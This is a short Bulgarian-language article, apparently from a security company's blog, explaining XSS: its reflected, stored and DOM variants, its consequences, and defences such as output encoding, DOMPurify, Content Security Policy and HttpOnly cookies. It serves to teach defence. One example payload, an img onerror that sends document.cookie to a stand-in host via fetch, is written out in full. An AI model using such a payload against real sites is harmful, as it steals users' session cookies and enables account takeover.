XSS атака: какво е, пример и как се защитава сайт

Как работи XSS (cross-site scripting), примери за отразена, съхранена и DOM атака и мерките, които я предотвратяват: кодиране на изхода, Content Security Policy и защитени бисквитки.

OfSec 3 мин. четене

XSS (cross-site scripting) е уязвимост, при която сайтът показва на посетителите въведен от външен човек текст като код. Браузърът изпълнява този код от името на сайта, с достъп до всичко, което страницата вижда: съдържанието, формулярите и сесията на влезлия потребител.

Пример

Търсачката на онлайн магазин показва „Резултати за: …“ с текста от адреса на страницата, без да го обработи. Ако някой изпрати на клиент връзка, в която вместо дума за търсене стои

<img src=x onerror="fetch('https://example.net/?c='+document.cookie)">

браузърът на клиента ще изпълни кода и ще изпрати бисквитките му към чужд сървър. Ако сред тях е бисквитката на сесията, нападателят може да влезе в профила без парола.

Видове

  • Отразена (reflected): кодът е в самата връзка и се изпълнява само при отварянето ѝ. Разпространява се с фишинг писма и съобщения.
  • Съхранена (stored): кодът се записва в базата данни, например в коментар, отзив или име на продукт, и се изпълнява при всеки, който отвори страницата. Тя е най-опасна, защото засяга и администраторите, когато преглеждат съдържанието в административния панел.
  • DOM: уязвим е JavaScript кодът в браузъра, който вмъква в страницата данни от адреса или от формуляр, например с innerHTML. Сървърът изобщо не вижда атаката.

Последици

  • превземане на сесии и профили, включително администраторски;
  • промяна на съдържанието на страницата, например подмяна на банковата сметка в поръчката или фалшива форма за вход;
  • кражба на данните, които клиентът въвежда. Ако сред тях има лични данни, това обикновено е нарушение на сигурността на личните данни по GDPR и може да изисква уведомяване на КЗЛД.

Защита

  1. Кодирайте всеки изход според мястото, където се показва: HTML, атрибут, JavaScript или адрес. Съвременните шаблонни системи и библиотеки като React правят това по подразбиране. Уязвимостите се появяват там, където разработчикът изключва защитата (dangerouslySetInnerHTML, |safe, {!! !!}).
  2. Не вмъквайте данни в страницата с innerHTML и document.write. Използвайте textContent.
  3. Когато трябва да се приема HTML, например в редактор за статии, пречиствайте го с проверена библиотека като DOMPurify и допускайте само изрично разрешени елементи.
  4. Добавете Content Security Policy, която забранява вградените скриптове и скриптовете от чужди домейни. Тя не поправя уязвимостта, но спира изпълнението на повечето атаки.
  5. Маркирайте бисквитките на сесията с HttpOnly, Secure и SameSite. HttpOnly не позволява на JavaScript да ги прочете.
  6. Проверявайте входните данни по тип и дължина. Това стеснява възможностите на нападателя, но не замества кодирането на изхода.

Как се открива

Автоматичните скенери намират част от отразените XSS уязвимости. Съхранените и DOM уязвимостите често изискват ръчна проверка на всяко поле, в което потребителят въвежда текст, и на кода, който го показва. Затова тестът за проникване на уеб приложение съчетава двата подхода.

СайтовеУеб приложения